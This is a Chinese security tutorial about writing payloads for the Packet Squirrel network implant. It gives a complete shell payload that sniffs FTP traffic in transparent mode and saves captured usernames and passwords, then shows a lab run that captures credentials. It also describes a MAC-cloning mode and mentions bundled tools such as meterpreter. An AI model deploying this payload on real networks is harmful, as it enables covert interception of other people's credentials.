硬件黑客工具Packet Squirrel之三:Payload开发介绍

2018-01-29 403321人围观 ,发现 3 个不明物体 工具

*本文作者:ghostsnow,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

前两篇我们介绍了Packet Squirrel三个payloads的相关内容,同时我们还提到了Packet Squirrel支持自定义payload的开发,通过上传自己的payload,实现我们想要的功能。本篇文章我们就主要介绍有关Packet Squirrel自主开发payload的内容。

内容回顾:

硬件黑客工具Packet Squirrel之初识篇

硬件黑客工具Packet Squirrel之二:实现openVPN远程访问

首先,Packet Squirrel支持三种语言:Linux Shell、PHP、Python2.x。

官方默认使用SHELL编程形式来开发payload,payload命名必须为payload.sh\py\php。

Packet Squirrel的payload开发本质上并不属于严格意义的脚本语言,其内置了四种命令:

1:NETMODE

决定Packet Squirrel运行在哪种网络模式下,一共有五种网络模式可供选择:

A、NAT:NAT模式,参考虚拟机常见网络类型的功能;

B、BRIDGE:桥接模式,同样参考虚拟机常见网络类型的功能;

C、TRANSPARENT:传输模式,与桥接模式很像,但区别在于Packet Squirrel不会从WAN口上游的路由交换设备获取IP地址,对于网络两端来说属于透明传输模式,并实现监听Packet Squirrel设备的所有网络流量。

D、VPN:VPN模式,参考远程访问openVPN功能实现的网络类型。

E、CLONE:克隆模式,官方固件1.1版本升级后新增功能,可以克隆Packet Squirrel设备Lan口连接的PC机MAC地址,同时修改设备WAN口的MAC地址为相同地址,用以伪造成目标PC机,此过程可以在几秒钟内完成。

2:LED

Packet Squirrel设备采用的RGB LED灯以各种颜色标示设备工作状态。

目前主要有RED、GREEN、BLUE、YELLOW、CYAN、MAGANTA、WHITE等几种颜色。

同时可以定义LED灯的闪烁频率、精确到ms级。例如命令:LED ATTACK(代表正在执行攻击,以黄色灯固定频率闪烁)LED R SLOW(代表出现故障,红色灯慢闪烁)

3:BUTTON

通过Packet Squirrel上面的RESET按钮可用来触发某种动作,在脚本中可定义按下RESET执行某些操作和在固定时间(秒)内按下RESET来执行某种操作等。

4:SWITCH

Packet Squirrel通过通电启动设备时读取switch文件内容(1、2、3等)来决定启用哪个payload。

这里注意Packet Squirrel设备中外置U盘中的payloads文件夹优先级高于设备内置payloads文件夹。

]另外,在Packet Squirrel中已经内置了几个小工具来帮助我们自定义payload的开发功能,例如autossh、urlsnarf、meterpreter-php/https、nmap、ncat、tcpdump等。

下面我们主要参考一个Hak5给出的有关利用ngrep嗅探网络流量的payload来进一步熟悉相关内容。

首先定义基础变量、参数、生成的文件路径以及文件名。

!/bin/bash

NGREP_OPTIONS=("-wiql" "user|pass" "port" "21")

CONDITION=""

WCNUM=3

BUTTON_WAIT="5s"

LOOT_DIR="/mnt/loot/ngrep"

LOG_FILE="${LOOT_DIR}/ngrep-${RANDOM}.log"

使用sync更新内容,同时鉴于设备性能等其他因素考虑,使用sleep 5来创建一段缓冲时间是非常必要的。

function syncFS() {

    while true

    do

        sync

        sleep 5

    done

}

设定初始化设备过程,网络模式以及创建目录等。

function setup() {

    LED OFF

    NETMODE TRANSPARENT

    sleep 5

    mkdir -p $LOOT_DIR

}

检查生成文件

function checkLog() {

    [[ -z $CONDITION ]] && {

        grep -qi $CONDITION $LOG_FILE && {

            return 0

        }

    } || {

        [[ $(wc -l < $LOG_FILE) -gt $WCNUM ]] && {

            return 0

        }

    }

    return 1

}

payload主要部分,设定ngrep参数以及获取进程pid,同时可以看到该部分定义了按下RESET后执行检查文件等操作,同时关闭LED灯。

function run() {

    ngrep "${NGREP_OPTIONS[@]}" 2>&1 > $LOG_FILE &

    npid=$!

    while true

    do

        NO_LED=true BUTTON && {

            checkLog && {

                BUTTON $BUTTON_WAIT && {

                    LED FINISH

                    kill $npid

                    sleep 3

                    

                    LED OFF

                    halt

                }

            } || {

                LED FAIL

                sleep 3

                LED OFF

            }

        }

    done

}

定义了在设备初始化过程中检查U盘是否连接,否则LED灯显示红色闪烁状态。

[[ ! -f /mnt/NO_MOUNT ]] && {

    setup

    syncFS &

    run

} || {

    LED FAIL

}

接下来我们看一下脚本在实际运行中的效果,首先将该payload.sh文件保存至U盘下payloads文件夹switch1内。

硬件黑客工具Packet Squirrel之三:Payload开发介绍

这里赋予sh脚本可执行权限后,可通电准备测试了。

硬件黑客工具Packet Squirrel之三:Payload开发介绍

这里查看Packet Squirrel设备Lan口PC机的网络状态,其中AX8817网卡收到来自上游路由器分配的IP地址(印证了Packet Squirrel在payload中设置为传输模式)。

硬件黑客工具Packet Squirrel之三:Payload开发介绍

现在由PC机访问预先准备的FTP服务器:

硬件黑客工具Packet Squirrel之三:Payload开发介绍

在ftp完成访问后,我们手动按下RESET按钮,等待LED指示灯进行红色闪烁表示在进行存储操作后,待LED灯熄灭后,可直接查看U盘下/loot/ngerp/xx.log文件。

硬件黑客工具Packet Squirrel之三:Payload开发介绍

打开生成的文件可清晰看到通过上面的payload执行ngrep,成功获取到ftp登陆过程的用户名和密码。

硬件黑客工具Packet Squirrel之三:Payload开发介绍

总的来说,Packet Squirrel的payload开发还是比较容易的,基本懂shell语法或python的同学都可以自己尝试去写。

*本文作者:ghostsnow,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

发表评论

已有 3 条评论

取消
Loading...
css.php